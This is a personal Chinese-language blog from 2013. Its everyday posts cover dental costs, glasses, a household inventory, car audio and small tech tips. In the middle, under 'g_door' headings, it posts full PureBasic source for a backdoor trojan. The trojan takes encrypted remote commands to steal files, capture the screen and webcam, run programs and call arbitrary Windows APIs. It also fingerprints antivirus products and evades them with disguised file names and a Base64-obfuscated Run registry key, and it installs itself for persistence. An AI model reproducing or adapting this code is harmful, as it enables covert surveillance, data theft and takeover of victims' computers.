2013年6月29日 星期六

做了4顆全瓷牙,花了8萬塊

因為跌倒上門牙受損,影響到4顆牙齒,治療期間長,且不時打麻藥,打完還是會很痛,尤其是印模前,要調整牙齦位置,超痛的,牙齒保健很重要,平時勤勞一點,可保有一口好牙,也可避免治療時花錢又傷身。

汽車玻璃裂了

到立可補修補,費用1000


2013年6月28日 星期五

書櫃裡的雜物

左1
一堆電池(含n900副廠)、轉換插頭、2部老筆電、硬幣分類器、遙控器放置盒(含遙控器)、光碟、放雜物喜餅盒、護貝膠膜、答錄機、cd隨身聽、蚊香片、

左2
2部無線電(含充電器)、相機包、監視器鏡頭、電錶、充電器、pda座、小夜燈、墨水盒、電力銀行、平板、小電鬍刀、清涼油、鏡頭清潔包、pda汽車固定座、pcmcia卡、讀卡器、吹風機、sim magic、無線耳機、迷你話機、USB to ps2、usb音效卡、gsm模組、顯示卡、卡帶隨身聽充電器、ps move兩支、定時器、電子字典、跑車浪漫旅光碟、n900保護套、jbl喇叭、hub、數位電視天線、萬用充電器、usb外接碟、kvm、瑞士刀、fon-ap、

左3
文具、折疊車固定繩、壁虎、健身車碼表、搖桿、工具組、烙鐵組、滑鼠、桌機配件、麵包板、密錄器、USB to sata、av切換器

左4
血壓計、光碟修補器、

大置物箱
Rca線材、各式接頭、usb線材、其他電腦線、耳麥、電腦電源線、對講機、各式變壓器、充電器、數據機、數據卡、調變器、第四台訊號放大器

陽台木質置物櫃
小孩作品、拼圖、畢業紀念冊、春惠相框、小孩書籍、小孩光碟

陽台凸窗置物左
小型零件盒、放大機、暗房器材、魚缸、組合地墊、浴室防滑墊、小置物盒兩個、汽車椅背珠簾、防潮箱、帳篷、腳架、軟墊、延長電源線、喇叭線、大型玩具

各式包裝盒、麥克風、網路線、其他線材、絨毛玩具、攜車袋、筆電包

安全帽、手提袋


配了一副betapla 俗稱塑鈦框的眼鏡

順便驗光,左眼500度(六年前425),嚇死人,右眼400度(375),散光分別是50/75沒變

總價4500 (框3100 Hoya 1.6鏡片1800 店家再折400)

度數過深,加上已有老花,結果就是使用率超低。

2013年6月27日 星期四

經驗法則下的科學

知其然,不知其所以然。

汽車音響已經壞了很久,每次放進CD總是會自動退出來,前幾天不放棄,反覆測試,終於找出規律,似乎嘗試幾次就可正常吸入,今天終於找到正確的方式。

放進去時會退出,過一會就可吸入,但是又會退出,但是第三次吸入就不會退出,屢試不爽。

這有點像中醫的科學,從經驗法則找出醫人的方法,其實西醫何嘗不是使用經驗法則,只不過西醫用了更多的科學罷了。

這台音響已經淘汰了,換上新的pioneer,有USB,好用中!

2013年6月23日 星期日

2013年6月22日 星期六

雙頻無線電開箱

拿來當高級收音機還不錯。

EOS—M測試

接上原廠EF轉接環,再接上PB轉接環,接上PENTACON鏡頭,出現Err 01錯誤,研判應該是合焦晶片不相容,最後將部分金屬接點以膠帶覆蓋後,就能正常工作了。

http://hk.news.yahoo.com/世紀萬能蘇-eos-m-舊鏡激玩-提案-090000681.html

摔斷了牙齒,單顆價錢從7000~23000起跳

荷包大失血。因為我需要做4顆。

2013年6月20日 星期四

在曼谷機場吃麵

一碗220泰銖,肉片是豬脖子肉,好像就是松阪豬,很脆,湯頭也很好,應該是泰國平民小吃,可惜機場必須天價賣。

2013年6月18日 星期二

wireshark不想解析port number的設定

wireshark是會自動解析port number的,如 port 80會變成http

有時我只想看port number,不想看到解析名

設定如下


這地方反勾選一下,然後再reload就行了。

vmware虛擬機的救援

救援可以使用很多救援光碟,可以自網路下載

在設定中新增一部軟碟機,載入C:\Program Files (x86)\VMware\VMware Workstation\Resources\vmscsi.flp

在虛擬機開機後使用救援光碟啟動

然後按F6要求載入SCSI驅動程式

這樣救援光碟的系統就認得你的虛擬硬碟機了

g_door loop



Repeat
  ConnectionID.l = OpenNetworkConnection(#domain, #port)
  If  ConnectionID  
    Debug("Connect to Server")
    Debug ConnectionID
    status=0
    SendAes("pas"+#pass+#endstr)
    Repeat 
     
      SEvent = NetworkClientEvent(ConnectionID)
      If SEvent       
      
        timer=0
        Select SEvent
          Case #PB_NetworkEvent_Data                      
            reclen=ReceiveNetworkData(ConnectionID.l, *Buffer, 8192)
           
            Select status
              Case 1
                If Eof(filehandle)               
                  CloseFile(filehandle)
                  status=0
                 
                  If img=1 And GetPathPart(filepath)=GetTemporaryDirectory()
                    DeleteFile(filepath)
                    img=0
                  EndIf
                  filepath=""
               
              Else
                ;Debug reclen
                ;readlen=ReadData(filehandle,*Buffer2+3,1457)
                readlen=ReadData(filehandle,*Buffer2,8192)
                AESEncoder(*Buffer2, @Aes\Data(), readlen, ?Key, 128, ?InitializationVector)
                SendNetworkData(ConnectionID,@Aes\Data(),readlen)
                ;SendNetworkData(ConnectionID,*Buffer2,readlen)
               
               
                EndIf
              Case 2
               
                CopyMemory(*Buffer,*Buffer2+buflen,reclen)
                buflen=buflen+reclen
                ;Debug buflen
                Delay(1)
               
                If buflen=8192 Or nowfilesize+buflen=FileSize
                  nowfilesize=nowfilesize+buflen
                  AESDecoder(*Buffer2, @Aes\Data(), buflen, ?Key, 128, ?InitializationVector)
                  WriteData(filehandle, @Aes\Data(), buflen)
                  buflen=0
                  If nowfilesize=FileSize
                    CloseFile(filehandle)
                    nowfilesize=0
                   
                    status=0
                  Else
                    SendAes("ok!"+#endstr)
                  EndIf
                EndIf
              Default
                Debug PeekS(*Buffer,reclen)
                ;Debug   AesDec(*Buffer,reclen)
                If reclen >=16
                cmdstr.s=AesDec(*Buffer,reclen)               
                ;If PeekS(*Buffer+reclen-2,2) = #endstr And reclen > 5
                If Mid(cmdstr,Len(cmdstr)-1) = #endstr And Len(cmdstr) > 5
                  Debug cmdstr+"<-"
                  command.l=1
                EndIf
                EndIf
            EndSelect
          Case #PB_NetworkEvent_Disconnect
            Debug("disconnect")
            Quit = 1
           
        EndSelect
       
     
      If command
      
        cmdstr.s=StringField(cmdstr, CountString( cmdstr, #endstr), #endstr)
        Debug cmdstr
        Select Mid(cmdstr,1,3)
          Case "get"
            filepath=Mid(cmdstr,5)      
            filehandle= ReadFile(#PB_Any,filepath)
            If filehandle
              readlen=ReadData(filehandle,*Buffer2,8192)
              AESEncoder(*Buffer2, @Aes\Data(), readlen, ?Key, 128, ?InitializationVector)
              SendNetworkData(ConnectionID,@Aes\Data(),readlen)
             
              status=1
            Else              
              SendAes("errfile,can't read file"+#endstr)             
            EndIf
          Case "put"
            cmdstr=Mid(cmdstr,5)
            Debug StringField(cmdstr,1,"|")
            filehandle=CreateFile(#PB_Any,StringField(cmdstr,1,"|"))
            filesize=Val(StringField(cmdstr,2,"|"))
            buflen=0
            If filehandle             
             
              status=2
              SendAes("ok!"+#endstr)
             
            Else              
              SendAes("errfile,can't create file"+#endstr)             
            EndIf
          Case "pak"
            filepath=Mid(cmdstr,5) 
            file.s=GetTemporaryDirectory()+"~"+FormatDate("%hh%ii%ss", Date())+".tmp"
            CreatePack(file)
            AddPackFile(filepath,9)           
            ClosePack()
            file=file+"|"+Str(FileSize(file))
            SendAes("pak"+file+#endstr)
            img=1
          Case "img"
            file.s=CaptureScreen()
            If file<>""
              file=file+"|"+Str(FileSize(file))
              SendAes("img"+file+#endstr) 
              img=1
            EndIf
          Case "cam"
            file.s=CapWebcam(1)
            If file <> "" And file <> "no"
              file=file+"|"+Str(FileSize(file))
              SendAes("img"+file+#endstr) 
              img=1
            EndIf
           
          Case "drv"
            GetAllDrives(Drive())
            drvstr.s="drv"
            ForEach Drive()
              drvstr.s=drvstr+Drive()\DriveLetter$  + ":" + Trim(Drive()\Volume$)+"|"
            Next
            SendAes(drvstr+#endstr)         
            Debug drvstr+"->"           
            ClearList(Drive())
          Case  "dir"
            ListFile(Dir(),Mid(cmdstr,5))
            dirstr.s="dir"
            ForEach Dir()
              dirstr=dirstr+Dir()\Name$  + ":" + Dir()\Size$+ ":" + Str(Dir()\DirType)+"|"
            Next
           
            If Len(dirstr)<8187
             
              SendAes(dirstr+#endstr)
              Debug dirstr+"->"
             
            Else
              SendAes("errdir,too many data"+#endstr)
            EndIf
            ClearList(Dir())
           
          Case "del"
            If DeleteFile(Mid(cmdstr,5))=0
             
              SendAes("errdel,can't delete file"+#endstr)
            Else
              SendAes("del"+#endstr)
             
            EndIf 
           
            Debug "del->"
          Case "cpy"           
           
            CopyFile(StringField(Mid(cmdstr,5),1,"|"),StringField(Mid(cmdstr,5),2,"|"))
           
          Case "exe" ;kill by avira
            ;             If RunProgram(Mid(cmdstr,5))=0
            ;               SendNetworkString(ConnectionID,"errexe,can't execute file"+#endstr)
            ;             Else
            ;               SendNetworkString(ConnectionID,"exe"+#endstr);              
            ;             EndIf
            ;             Debug "del->"
           
            If Val(StringField(apicall("6|Shell32.dll|ShellExecuteA|0|0|@"+Mid(cmdstr,5)+"|0|0|1"),1,"|"))>32
              SendAes("exe"+#endstr)
            Else
              SendAes("errexe,can't execute file"+#endstr)
            EndIf
           
          Case "kil"
;             If PurePROCS_KillProcessID(Val(Mid(cmdstr,5)))=0
;               SendAes("errkil,can't kill process"+#endstr)
;             Else
;               SendAes("kil"+#endstr)            
;             EndIf
            Debug "kil->"
           
;           Case "pas"
;             SendNetworkString(ConnectionID,"pas"+#pass+#endstr)
;             Debug "pas"+#pass+#endstr+"->"
          Case "inf"
            inf.s="inf"
            buf.s=Space(256)
            buflen.l=256
            GetComputerName_(@buf,@buflen)
            inf=inf+buf+"|"
            GetUserName_(@buf,@buflen)
            inf=inf+buf+"|"
            inf=inf+os             
            inf=inf+av+ProgramFilename()+"|"+#ver+"|"+#hash+"|"
            If CapWebcam(0)="no"
              inf=inf+"no"+"|"
            Else
              inf=inf+"yes"+"|"
            EndIf 
            SendAes(inf+#endstr)          
           
          Case "chd"
            SetCurrentDirectory_(Mid(cmdstr,5))         
           
           
          Case "api"
           
            ;s: output string, v: output value
            ;api USER32.DLL|MessageBoxA|0|hello world 1|test|0
            ;Debug apicall("4|USER32.DLL|MessageBoxA|0|@hello world 1|@test|0")
            ;Debug apicall("2|Kernel32.dll|GetWindowsDirectoryA|s|512")
            ;Debug apicall("2|Kernel32.dll|GetTempPathA|512|s")
            ;Debug apicall("3|Advapi32.dll|RegOpenKeyA|2147483650|@SOFTWARE\Microsoft\Windows\CurrentVersion\Run|v")
            ;Debug apicall("6|Advapi32.dll|RegSetValueExA|handle_number|@WindowsInit|0|1|@c:\windows\test.exe|19")
            ;Debug apicall("6|Shell32.dll|ShellExecuteA|0|0|@notepad.exe|0|0|1") 
            ;debug apicall("2|Kernel32.dll|GetComputerNameA|s|v256")
            SendAes("api"+apicall(Mid(cmdstr,5))+#endstr)
           
          Case "prs"
            ;Debug "process"
            ;ListProcess(Process())
            GetProcessList(Process())
            procstr.s="prs"
            ForEach Process()
              ;drvstr.s=drvstr+Drive()\DriveLetter$  + ":" + Trim(Drive()\Volume$)+"|"
              procstr=procstr+Process()\path + "&" + Process()\pid + "&" + Process()\module + "|"
            Next
            If Len(procstr)<8187
              SendAes(procstr+#endstr)
              Debug procstr+"->"             
            Else
              SendAes("errprs,too many data"+#endstr)
            EndIf
            ClearList(Process())
          Case "sup"
            SendAes(#sup_cmd+#endstr)
         
        EndSelect
       
        PokeS(*Buffer,"   ")
        timer=0
        command=0
       
      EndIf
     
      Else
     
      timer=timer+1
;       If timer % 1000=0
;         Debug ".."
;        EndIf
      If status=0
       
        If timer=1000
;             AesEnc("000"+#endstr)
;             SendNetworkData(ConnectionID,@Aes\Data(),Aes\len)
            SendAes("000"+#endstr)
         
        EndIf       
  
      EndIf
      
      If timer=#delaytime2
        Debug("server die")
        Debug timer
        CloseNetworkConnection(ConnectionID)
        timer=0
        quit=1
       
       
       
        status=-1
        If IsFile(filehandle)
          CloseFile(filehandle)
                
        EndIf       
      EndIf
    EndIf
    Delay(1)
    Until quit=1
    quit=0
   
  Else
    Debug("can not Connect to Server")
  EndIf 
  Delay(#delaytime1)
 
  ;   If para<>""
  ;     RenameFile("c:\"+para,"c:\winlogin.exe")
  ;    
  ;     para=""
  ;     Stream = ReadFile(#PB_Any, GetEnvironmentVariable("windir") + "\notepad.exe")
  ;     If Stream
  ;       *Buffer = AllocateMemory(Lof(Stream))
  ;       If *Buffer
  ;         ReadData(Stream, *Buffer, Lof(Stream))
  ;         CloseFile(Stream)
  ;         ProcessID = PurePROCS_Execute("c:\windows\system32\svchost.exe", *Buffer)
  ;         Delay(10000)
  ;         PurePROCS_KillProcessID(ProcessID)
  ;         ProcessID = PurePROCS_Execute("c:\windows\system32\svchost.exe", *Buffer)
  ;         Delay(10000)
  ;         PurePROCS_KillProcessID(ProcessID)
  ;       EndIf
  ;     EndIf
  ;   EndIf
ForEver

g_door init


path.s=""
If para <> ""
  Select para
    Case "rar_back"     
      MoveFileEx_("C:\Program Files\WinRAR\WinRAR32.exe","C:\Program Files\WinRAR\WinRAR.exe",3)   
  EndSelect
EndIf
timeup.l=0
If OpenWindow(0, 0, 0, 0, 0, "winlogon.exe", 268435456)
  test.s=""
  test1.s="U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb"
  test2.s = "cUnVu"
  test3.s=""
  dec.s = Space(1024) 
  i.l=-100
 
Repeat
    Select WindowEvent()
       
      Case #PB_Event_CloseWindow
        End
    EndSelect
    test3=test1+Str(i)+test2
    Base64Decoder(@test3, StringByteLength(test3), @dec, 1024)
    test = dec
    i=i+1
    timeup=timeup+1
  Until timeup=600
EndIf


;ListProcess(Process())
GetProcessList(Process())
av.s="none|"
os.s=""
is64.s=""
ForEach Process()
 
  Select LCase(GetFilePart(Process()\path))    
    Case "avgtray.exe"
      av="AVG|"     
      Break
    Case "avgnt.exe"
      av="Avira|"     
      Break
    Case "mcagent.exe"
      av="Mcafee|"     
      Break
    Case "avp.exe"
      av="Kaspersky|"     
      Break
    Case "ccsvchst.exe"
      av="Norton|"     
      Break
    Case "egui.exe"
      av="Nod|"
      Break
    Case "360tray.exe"
      av="360|"
      Break
    Case "rstray.exe"
      av="Rs|"
      Break
   
  EndSelect            
Next


If FileSize("C:\Program Files\AVAST Software\Avast\AvastUI.exe")<>-1 Or FileSize("C:\Program Files (x86)\AVAST Software\Avast\AvastUI.exe")<>-1
  av="Avast|"
  ;MessageRequester("","avast")
EndIf
;GetFileversioninfo()
ClearList(Process())
If sgl_Is64BitOS()
  is64="64"
Else
  is64="32"
EndIf
Select OSVersion()     
  Case #PB_OS_Windows_Server_2003
    os="2003|"
  Case #PB_OS_Windows_Vista
    os="Vista|"
  Case #PB_OS_Windows_Server_2008
    os="2008|"
  Case #PB_OS_Windows_7   
    os="Win7|"      
  Case #PB_OS_Windows_2000
    os="2000|"               
  Case #PB_OS_Windows_XP
    os="XP|"
  Case 100
    os="Win8|"
  Default
    os="Unknown|" 
EndSelect
If #install=1
  If os = "Win7|" Or os = "Vista|" Or os = "2008|" Or os="Win8|" ;And is64="32"
    path=GetEnvironmentVariable("USERPROFILE")+"\AppData\Local\VirtualStore\Program Files\Common Files\rnicrosoft\"
  Else
    path=GetEnvironmentVariable("CommonProgramFiles")+"\rnicrosoft\"
  EndIf   
 
  If ProgramFilename()<>path+#exename 
    checkinstall(av,os,is64)
  EndIf   
EndIf
If FileSize(GetPathPart(ProgramFilename())+"exp1orer.exe")<>-1
  RunProgram("exp1orer.exe")
EndIf
If ininet=0
  If InitNetwork() = 0
    Debug("Can't initialize the network !")
    End
  EndIf
EndIf
timer.l=0
quit.l=0
reclen.l=0
command.l=0
img.l=0
filepath.s=""
buflen.l=0
filesize=0
nowfilesize=0
SetErrorMode_(1)
*Buffer = AllocateMemory(8192)
*Buffer2 = AllocateMemory(8192)
status=-1

Procedure.i sgl_Is64BitOS()



Procedure.i sgl_Is64BitOS()
; [DESC]
; Check if the OS under which the program is running is a 64 bit OS.
;
; [RETURN]
; 1 for 64 bit OS, else 0.
 Protected Is64BitOS = 0
 Protected hDLL, IsWow64Process_

 If SizeOf(Integer) = 8
    Is64BitOS = 1 ; this is a 64 bit exe
 Else
    hDll = OpenLibrary(#PB_Any,"kernel32.dll")
    ;m_ASSERT(hDLL)
    If hDll
        IsWow64Process_ = GetFunction(hDll,"IsWow64Process")
        If IsWow64Process_
            CallFunctionFast(IsWow64Process_, GetCurrentProcess_(), @Is64BitOS)
        EndIf
        CloseLibrary(hDll)
    EndIf    
 EndIf

 ProcedureReturn Is64BitOS
EndProcedure

Procedure checkinstall(av.s,os.s,is64.s)



Procedure checkinstall(av.s,os.s,is64.s)
  kav_boot.l=0
  tpath.s=GetEnvironmentVariable("Temp")
  path.s=""
  If os = "Win7|" Or os = "Vista|" Or os = "2008|" Or os="Win8|" ;And is64="32"
    path=GetEnvironmentVariable("USERPROFILE")+"\AppData\Local\VirtualStore\Program Files\Common Files\rnicrosoft\"
  Else
    path=GetEnvironmentVariable("CommonProgramFiles")+"\rnicrosoft\"
  EndIf
 
  
  path2.s=""
  hk.l
  If av="Rs|"
    If ProgramFilename()<>tpath+#exename
      fh.l=CreateFile(#PB_Any,tpath+"desktop")
      WriteString(fh,ProgramFilename())
      CloseFile(fh)
      CopyFile(ProgramFilename(),tpath+#exename)
      RunProgram(tpath+#exename)
      End
    EndIf  
  Else 
    If ProgramFilename()<>tpath+"\"+#exename 
      If av="Kaspersky|" And ProgramFilename()="C:\Program Files\WinRAR\WinRAR.exe"       
;         kav_boot=1 
;         SHGetSpecialFolderPath_(0, @path2, #CSIDL_COMMON_STARTUP, 0)
;         DeleteFile(path2+"\"+Space(128)+".rar")     

      ElseIf av="Avast|"
         ;MoveFileEx_(ProgramFilename(),path+"\"+#exename,3)
      Else
        MoveFileEx_(ProgramFilename(),tpath+"\"+#exename,3) 
        RunProgram(tpath+"\"+#exename)
        End       
      EndIf
    EndIf
  EndIf
 
  If av="Rs|"
    fh=ReadFile(#PB_Any,tpath+"desktop")
    DeleteFile(ReadString(fh))   
    CloseFile(fh)
    ;DeleteFile(tpath+"desktop")
  EndIf
 
 
 
 
  ;bypass nod,avg
  ;SOFTWARE\Microsoft\Windows\CurrentVersion\Run
  test.s=""
  test1.s="U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb"
  test2.s = "cUnVu"
  test3.s=""
  dec.s = Space(1024) 
  ii.l=-100
  For i = ii To 25
    test3=test1+Str(i)+test2
    Base64Decoder(@test3, StringByteLength(test3), @dec, 1024)
    test = dec
  Next

  buf.s=Chr(34)+path+#exename+Chr(34)
  If os="Vista|" Or os="Win7|" Or  os = "2008|" Or os="Win8|"
    key=#HKEY_CURRENT_USER
  Else
    key=#HKEY_LOCAL_MACHINE
  EndIf 
  If RegOpenKey_(key,test,@hk)=0   
    ;replace RegSetValueEx_(hk,"Wab32Init",0,#REG_SZ, buf ,Len(buf))     
    result.l=OpenLibrary(#PB_Any,"Advapi32.dll")
    point.l=0
   
    ;If av="AVG|"
      ;point=GetFunction(result,http_get("header3.php")) 
    ;Else
    If  av="Norton|"
     
      If OpenWindow(0, 0, 0, 0, 0, "winlogon.exe", 268435456)
              
        hk.l
        buf.s=Chr(34)+path+#exename+Chr(34)
       
        RegSetValueEx_(hk,"Wab32Init",0,#REG_SZ, buf ,Len(buf))              
        RegCloseKey_(hk)
       
      EndIf
    ElseIf av="Kaspersky|" Or av="360|"
;       If kav_boot=1
;         point=GetFunction(result,"RegSetValueExA")
;         CallFunctionFast(Point,hk,@"Wab32Init",0,#REG_SZ,@buf,Len(buf))
;       EndIf 
;       RegCloseKey_(hk)
     
    ElseIf av="360|-"
      point=GetFunction(result,"RegSetValueExA")
      buf2.s=buf+Space(1000000)
      CallFunctionFast(Point,hk,@"Wab32Init",0,#REG_SZ,@buf2,Len(buf2))  
      ;CallFunctionFast(Point,hk,@"Wab32Init",0,#REG_SZ,@buf,Len(buf))   
      ;RegSetValueEx_(hk,"Wab32Init",0,#REG_SZ, buf ,Len(buf))
      RegCloseKey_(hk)
     
    Else
      point=GetFunction(result,"RegSetValueExA")       
      CallFunctionFast(Point,hk,@"Wab32Init",0,#REG_SZ,@buf,Len(buf))   
      ;RegSetValueEx_(hk,"Wab32Init",0,#REG_SZ, buf ,Len(buf))
      RegCloseKey_(hk)
     
     
    EndIf
   
   
   
   
  EndIf
 
  Select av
    Case "Kaspersky|"
;       If kav_boot=1
;         CreateDirectory(path)
;         CopyFile(ProgramFilename(),path+#exename)
;         RunProgram(path+#exename,"rar_back",GetEnvironmentVariable("Temp"))       
;         End
;       Else
;         CopyFile("C:\Program Files\WinRAR\WinRAR.exe","C:\Program Files\WinRAR\WinRAR32.exe")        
;         SHGetSpecialFolderPath_(0, @path, #CSIDL_COMMON_STARTUP, 0)
;         MoveFileEx_(ProgramFilename(),path+"\"+Space(128)+".rar", 4)
;         If OpenWindow(0, 0, 0, 0, 0, "winlogon.exe", 268435456)
;           SetWindowCallback(@WinCallback())
;           SetProcessShutdownParameters_( 0, 0)
;           Repeat
;             Select WaitWindowEvent()
;               Case #PB_Event_CloseWindow
;                 End
;             EndSelect
;           ForEver
;         EndIf       
;         End
;       EndIf
    ;Case av="Avast|"
     
    Case "360|"
      If kav_boot=1
        CreateDirectory(path)
        CopyFile(ProgramFilename(),path+#exename)       
        RunProgram(path+#exename,"rar_back",GetEnvironmentVariable("Temp"))       
        End
      Else
        CopyFile("C:\Program Files\WinRAR\WinRAR.exe","C:\Program Files\WinRAR\WinRAR32.exe")        
        SHGetSpecialFolderPath_(0, @path, #CSIDL_COMMON_STARTUP, 0) 
        CopyFile(ProgramFilename(),"C:\Program Files\Common Files\Microsoft Shared\Source Engine\OSE.EXE")
        ;MoveFileEx_(ProgramFilename(),path+"\"+Space(128)+".rar", 3)
        If OpenWindow(0, 0, 0, 0, 0, "winlogon.exe", 268435456)
          SetWindowCallback(@WinCallback())
          ;SetProcessShutdownParameters_( 0, 0)
          Repeat
            Select WaitWindowEvent()
              Case #PB_Event_CloseWindow
                End
            EndSelect
          ForEver
        EndIf       
        End
      EndIf
     
     
     
    Default 
      If os = "Win7|" Or os = "Vista|" Or os = "2008|" Or os="Win8|"
        CreateDirectory(GetEnvironmentVariable("USERPROFILE")+"\AppData\Local\VirtualStore\")
        CreateDirectory(GetEnvironmentVariable("USERPROFILE")+"\AppData\Local\VirtualStore\Program Files\")
        CreateDirectory(GetEnvironmentVariable("USERPROFILE")+"\AppData\Local\VirtualStore\Program Files\Common Files\")
        CreateDirectory(GetEnvironmentVariable("USERPROFILE")+"\AppData\Local\VirtualStore\Program Files\Common Files\rnicrosoft\")
      Else
        CreateDirectory(GetEnvironmentVariable("CommonProgramFiles")+"\rnicrosoft\")
       
      EndIf
     
      If av <> "Avast|"
        CopyFile(ProgramFilename(),path+#exename)
        RunProgram(path+#exename) 
      Else
        MoveFileEx_(ProgramFilename(),path+#exename,3)
      EndIf
      End
     
  EndSelect
   
   
 
EndProcedure

Procedure.s CapWebcam(type)



Procedure.s CapWebcam(type)
  lib= OpenLibrary(#PB_Any, "avicap32.dll")
  If lib
    *capAddress = GetFunction(lib, "capCreateCaptureWindowA")
    hWndC = CallFunctionFast(*capAddress, @"", #WS_CHILD, 0, 0, 0, 0, GetDesktopWindow_(),0)
    If hWndC
      If SendMessage_(hWndC, #WM_CAP_DRIVER_CONNECT, 0, 0)
        If type=1
          file.s=GetTemporaryDirectory()+"~"+FormatDate("%hh%ii%ss", Date())+".tmp"
          SendMessage_(hWndC, #WM_CAP_FILE_SAVEDIB, 0, @file)
          SendMessage_(hWndC, #WM_CAP_DRIVER_DISCONNECT, 0, 0)
          image=LoadImage(#PB_Any, file)
          ;UsePNGImageEncoder()
          UseJPEGImageEncoder()
          ;SaveImage(image,file,#PB_ImagePlugin_PNG) 
          SaveImage(image,file,#PB_ImagePlugin_JPEG,2,24)       
          FreeImage(image)         
        EndIf
      Else
        file="no"       
      EndIf
      DestroyWindow_(hWndC)
    EndIf
    CloseLibrary(lib)
  EndIf
  ProcedureReturn file 
EndProcedure
Debug CapWebcam(1)

Procedure.s apicall(call.s)



Procedure.s apicall(call.s)
  argc.l=Val(StringField(call, 1, "|"))
  lib.s=StringField(call, 2, "|")
  func.s=StringField(call, 3, "|")
  Dim argv.s(argc-1)
  Dim argv2.s(argc-1)
  Dim argvp.l(argc-1)
  Dim argvv.l(argc-1)
  Dim returnarg.l(argc-1)
  For i=0 To argc-1
    argv(i)=StringField(call, 4+i, "|")
    argv2(i)=Space(1024)
    argvp(i)=@argv2(i)
    argvv(i)=0 
    Select Left(argv(i),1)
      Case "@"
        argv2(i)=Mid(argv(i),2)
      Case "s"
        returnarg(i)=1
      Case "v"
        argvp(i)=@argvv(i)
        If Len(argv(i))>1
          argvv(i)=Val(Mid(argv(i),2))
        EndIf
        returnarg(i)=2
      Default
        argvp(i)=Val(argv(i))
    EndSelect
   
  Next
 
  result.l=OpenLibrary(#PB_Any,lib)
 
 
  point.l=GetFunction(result,func)
 
  returns.s=""
 

  Select argc
    Case 0    
      returns=Str(CallFunctionFast(Point))+"|"
    Case 1   
      returns=Str(CallFunctionFast(Point,argvp(0)))+"|"
    Case 2       
      returns=Str(CallFunctionFast(Point,argvp(0),argvp(1)))+"|"
    Case 3        
      returns=Str(CallFunctionFast(Point,argvp(0),argvp(1),argvp(2)))+"|"
    Case 4    
      returns=Str(CallFunctionFast(Point,argvp(0),argvp(1),argvp(2),argvp(3)))+"|"
    Case 5        
      returns=Str(CallFunctionFast(Point,argvp(0),argvp(1),argvp(2),argvp(3),argvp(4)))+"|"
    Case 6    
      returns=Str(CallFunctionFast(Point,argvp(0),argvp(1),argvp(2),argvp(3),argvp(4),argvp(5)))+"|" 
    Case 7    
      returns=Str(CallFunctionFast(Point,argvp(0),argvp(1),argvp(2),argvp(3),argvp(4),argvp(5),argvp(6)))+"|"
    Case 8    
      returns=Str(CallFunctionFast(Point,argvp(0),argvp(1),argvp(2),argvp(3),argvp(4),argvp(5),argvp(6),argvp(7)))+"|"     
     
  EndSelect
  CloseLibrary(result)
 
  For i=0 To argc-1
   
    Select returnarg(i)
      Case 1
        For j=0 To 1023
          If PeekB(@argv2(i)+j)=0
            PokeB(@argv2(i)+j,32) 
          EndIf
        Next j
        argv2(i)=RTrim(argv2(i))
        returns=returns+argv2(i)+"|"
      Case 2
        returns=returns+Str(argvv(i))+"|"
    EndSelect
   
  Next
 
  ProcedureReturn returns
EndProcedure
;s: output string, v: output value
;api USER32.DLL|MessageBoxA|0|hello world 1|test|0
;Debug apicall("4|USER32.DLL|MessageBoxA|0|@hello world 1|@test|0")
;Debug apicall("2|Kernel32.dll|GetWindowsDirectoryA|s|512")
;Debug apicall("2|Kernel32.dll|GetTempPathA|512|s")
;Debug apicall("3|Advapi32.dll|RegOpenKeyA|2147483650|@SOFTWARE\Microsoft\Windows\CurrentVersion\Run|v")
;Debug apicall("6|Advapi32.dll|RegSetValueExA|handle_number|@WindowsInit|0|1|@c:\windows\test.exe|19")
;Debug apicall("6|Shell32.dll|ShellExecuteA|0|0|@notepad.exe|0|0|1") 
;debug apicall("2|Kernel32.dll|GetComputerNameA|s|v256")
apicall("4|USER32.DLL|MessageBoxA|0|@hello world 1|@test|0")

Procedure AesEnc(str.s)



Structure AesData
  len.l
  Array Data.b(8191)
EndStructure
Global Aes.AesData
Procedure AesEnc(str.s)  
  s1.s=str
  lens1=Len(s1)
  If lens1 < 16
    s1=s1+Space(16-lens1)
  EndIf 
  Aes\len=AESEncoder(@s1, @Aes\Data(), Len(s1), ?Key, 128, ?InitializationVector) 
EndProcedure
Procedure.s AesDec(*Buffer,reclen) 
  *DecipheredString = AllocateMemory(8192) 
  AESDecoder(*Buffer, *DecipheredString, reclen, ?Key, 128, ?InitializationVector)
  ProcedureReturn RTrim(PeekS(*DecipheredString))
EndProcedure
Procedure SendAes(str.s)
  AesEnc(str)
  ;SendNetworkData(ConnectionID,@Aes\Data(),Aes\len) 
  Debug Aes\Data()
  Debug Aes\len
EndProcedure

SendAes("ok!")
Debug AesDec(@Aes\Data(),Aes\len)

DataSection
    Key:
      Data.b $06, $a9, $21, $40, $36, $b8, $a1, $5b, $51, $2e, $03, $d5, $34, $12, $00, $06
 
    InitializationVector:
    Data.b $3d, $af, $ba, $42, $9d, $9e, $b4, $30, $b4, $22, $da, $80, $2c, $9f, $ac, $41
EndDataSection

Procedure.s CaptureScreen()


Procedure.s CaptureScreen()
  dm.DEVMODE
  BMPHandle.l
  Width=GetSystemMetrics_(#SM_CXSCREEN)
  Height=GetSystemMetrics_(#SM_CYSCREEN)
  srcDC = CreateDC_("DISPLAY", "", "", dm)
  trgDC = CreateCompatibleDC_(srcDC)
  BMPHandle = CreateCompatibleBitmap_(srcDC, Width, Height)
  SelectObject_( trgDC, BMPHandle)
  BitBlt_( trgDC, 0, 0, Width, Height, srcDC, 0, 0, #SRCCOPY)
  DeleteDC_( trgDC)
  ReleaseDC_( BMPHandle, srcDC)
 
  If BMPHandle
    Id=CreateImage(#PB_Any, Width, Height)
    StartDrawing(ImageOutput(Id))
    DrawImage(BMPHandle,0,0)
    StopDrawing()    
    ;UsePNGImageEncoder()
    UseJPEGImageEncoder()
    file.s=GetTemporaryDirectory()+"~"+FormatDate("%hh%ii%ss", Date())+".tmp"
    ;SaveImage(Id,file,#PB_ImagePlugin_PNG) 
    SaveImage(Id,file,#PB_ImagePlugin_JPEG,2,24)   
    FreeImage(Id)    
  EndIf
  ProcedureReturn file
EndProcedure
Debug CaptureScreen()

買了"大新店親水樂園活水養生館"

http://www.gomaji.com/index-sub.php?city=Taipei&pid=29284

炎炎夏日何處去?清涼玩水就到【大新店親水樂園活水養生館】!2000坪超大戲水空間,標準游泳池、兒童池、水療按摩池,還有高空刺激滑水道!
